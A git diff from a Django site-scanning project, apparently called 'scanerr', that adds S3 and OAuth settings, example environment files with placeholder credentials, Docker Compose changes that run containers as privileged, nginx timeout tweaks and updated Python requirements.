+AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') +AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY') + +# Configure which endpoint to send files to, and retrieve files from. +AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') +AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') +AWS_S3_ENDPOINT_URL = os.environ.get('AWS_S3_ENDPOINT_URL') +AWS_LOCATION = os.environ.get('AWS_LOCATION') +AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') +AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') + + +# General optimization for faster delivery +AWS_IS_GZIPPED = True +AWS_S3_OBJECT_PARAMETERS = { + 'CacheControl': 'max-age=86400', +} + # Redis and Celery Conf @@ -217,5 +230,6 @@ EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD') +# google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') \ No newline at end of file diff --git a/commands b/commands index 55091b6a..cb2ad858 100644 --- a/commands +++ b/commands @@ -1,8 +1,8 @@ ### spins up container on localhost ### -docker-compose up --build +docker compose up --build ### spins down container on localhost ### -docker-compose down +docker compose down diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 6f6f63a5..9593055b 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -2,6 +2,8 @@ version: '3' services: app: + privileged: true + init: true build: context: . dockerfile: Dockerfile.prod @@ -9,31 +11,24 @@ services: - ./app:/app - static_volume:/app/static command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: - ./env/.env.prod - # depends_on: - # - db - - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data redis: image: redis:alpine celery: + privileged: true restart: always build: context: . @@ -43,7 +38,6 @@ services: env_file: - ./env/.env.prod depends_on: - # - db - redis - app @@ -78,7 +72,6 @@ services: volumes: - # pgdata: static_volume: certs: html: diff --git a/docker-compose.staging.yml b/docker-compose.staging.yml deleted file mode 100644 index 2c8446cb..00000000 --- a/docker-compose.staging.yml +++ /dev/null @@ -1,94 +0,0 @@ -version: '3' - -services: - app: - build: - context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" - expose: - - 8000 - env_file: - - ./env/.env.prod - # depends_on: - # - db - - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - - celery: - restart: always - build: - context: . - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.prod - depends_on: - # - db - - redis - - app - - - - nginx-proxy: - container_name: nginx-proxy - build: nginx - restart: always - ports: - - 443:443 - - 80:80 - volumes: - - static_volume:/app/static - - certs:/etc/nginx/certs - - html:/usr/share/nginx/html - - vhost:/etc/nginx/vhost.d - - /var/run/docker.sock:/tmp/docker.sock:ro - depends_on: - - app - nginx-proxy-letsencrypt: - image: jrcs/letsencrypt-nginx-proxy-companion - env_file: - - ./env/.env.staging.proxy-companion - volumes: - - /var/run/docker.sock:/var/run/docker.sock:ro - - certs:/etc/nginx/certs - - html:/usr/share/nginx/html - - vhost:/etc/nginx/vhost.d - depends_on: - - nginx-proxy - - - nginx: - build: ./nginx - ports: - - 80:8000 - # depends_on: - # - app - volumes: - - static_volume:/app/static - -volumes: - # pgdata: - static_volume: - certs: - html: - vhost: \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml index 20f7df62..df003fc1 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,19 +1,24 @@ version: '3' - services: + app: + privileged: true + init: true build: context: . + dockerfile: Dockerfile ports: - "8000:8000" volumes: - ./app:/app command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && python3 manage.py runserver 0.0.0.0:8000" env_file: - ./env/.env.dev @@ -26,9 +31,12 @@ services: - ./env/.env.dev volumes: - pgdata:/var/lib/postgresql/data + redis: image: redis:alpine + celery: + privileged: true restart: always build: context: . @@ -41,5 +49,9 @@ services: - db - redis - app + volumes: - pgdata: \ No newline at end of file + pgdata: + + + # python3 manage.py driver_p_test && python3 manage.py driver_s_test && \ No newline at end of file diff --git a/env/.env.dev.example b/env/.env.dev.example new file mode 100644 index 00000000..4fc015d7 --- /dev/null +++ b/env/.env.dev.example @@ -0,0 +1,75 @@ +# high level django configs +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = http://localhost:3000 +API_URL_ROOT = http://localhost:8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_HOST = db +DB_NAME = app +DB_USER = postgres +DB_PASS = supersecretpassword +POSTGRES_DB = app +POSTGRES_USER = postgres +POSTGRES_PASSWORD = supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example new file mode 100644 index 00000000..761bb49c --- /dev/null +++ b/env/.env.prod.example @@ -0,0 +1,74 @@ +# high level django configs +SECRET_KEY = ask-for-this-or-generate-yourself +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_NAME = defaultdb # example +DB_USER = doadmin # example +DB_PASS = +DB_PORT = +DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.staging.proxy-companion b/env/.env.staging.proxy-companion deleted file mode 100644 index c51fdd4f..00000000 --- a/env/.env.staging.proxy-companion +++ /dev/null @@ -1,3 +0,0 @@ -DEFAULT_EMAIL=youremail@yourdomain.com -ACME_CA_URI=https://acme-staging-v02.api.letsencrypt.org/directory -NGINX_PROXY_CONTAINER=nginx-proxy \ No newline at end of file diff --git a/nginx/custom.conf b/nginx/custom.conf index a466e70f..ebe63395 100644 --- a/nginx/custom.conf +++ b/nginx/custom.conf @@ -1,2 +1,6 @@ client_max_body_size 10M; +proxy_ignore_client_abort on; +proxy_connect_timeout 1000s; +proxy_read_timeout 1000s; + diff --git a/nginx_old/Dockerfile b/nginx_old/Dockerfile deleted file mode 100644 index 8e5916e0..00000000 --- a/nginx_old/Dockerfile +++ /dev/null @@ -1,4 +0,0 @@ -FROM nginx:1.19.0-alpine - -RUN rm /etc/nginx/conf.d/default.conf -COPY nginx.conf /etc/nginx/conf.d \ No newline at end of file diff --git a/nginx_old/custom.conf b/nginx_old/custom.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/custom.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/docker-compose.prod_old.yml b/nginx_old/docker-compose.prod_old.yml deleted file mode 100644 index fb41781e..00000000 --- a/nginx_old/docker-compose.prod_old.yml +++ /dev/null @@ -1,61 +0,0 @@ -version: '3' - -services: - app: - build: - context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" - expose: - - 8000 - env_file: - - ./env/.env.prod - depends_on: - - db - - db: - image: postgres:10-alpine - env_file: - - ./env/.env.prod - volumes: - - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - - celery: - restart: always - build: - context: . - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.prod - depends_on: - - db - - redis - - app - - nginx: - build: ./nginx - ports: - - 80:8000 - depends_on: - - app - volumes: - - static_volume:/app/static - -volumes: - pgdata: - static_volume: \ No newline at end of file diff --git a/nginx_old/nginx.conf b/nginx_old/nginx.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/nginx.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/vhost.d/default b/nginx_old/vhost.d/default deleted file mode 100644 index c498447b..00000000 --- a/nginx_old/vhost.d/default +++ /dev/null @@ -1,9 +0,0 @@ - -location /static/ { - alias /app/static/; - add_header Access-Control-Allow-Origin *; -} - - - - diff --git a/requirements.txt b/requirements.txt index f240e00a..cd5db68c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ amqp==5.0.6 asgiref==3.3.4 billiard==3.6.4.0 +boto3==1.20.32 celery==5.1.0 certifi==2021.5.30 chardet==4.0.0 @@ -12,30 +13,45 @@ Django==3.2.3 django-celery-beat==2.2.0 django-filter==2.4.0 djangorestframework==3.12.4 +django-markdownify==0.9.0 +django-cors-headers==3.7.0 +django-storages==1.12.3 +djangorestframework-simplejwt==4.7.2 docker==5.0.0 gunicorn==20.1.0 humanize==3.7.0 idna==2.10 kombu==5.1.0 Markdown==3.3.4 +numpy==1.22.3 +opencv-python==4.5.5.64 +Pillow==9.0.0 prometheus-client==0.8.0 prompt-toolkit==3.0.18 psycopg2==2.8.6 +pyjwt==2.1.0 +pyppeteer==1.0.2 pytz==2021.1 redis==3.5.3 requests==2.25.1 -selenium==3.141.0 +reportlab==3.6.6 +scipy==1.8.0 +selenium==4.1.3 +sewar==0.4.4 six==1.16.0 +slack-sdk==3.11.2 sqlparse==0.4.1 +stripe==2.60.0 tornado==6.1 +twilio==7.3.0 urllib3==1.26.5 vine==5.0.0 wcwidth==0.2.5 websocket-client==1.0.1 -django-cors-headers==3.7.0 -pyjwt==2.1.0 -djangorestframework-simplejwt==4.7.2 -stripe==2.60.0 -twilio==7.3.0 -slack-sdk==3.11.2 -django-markdownify==0.9.0 \ No newline at end of file + + + + + + +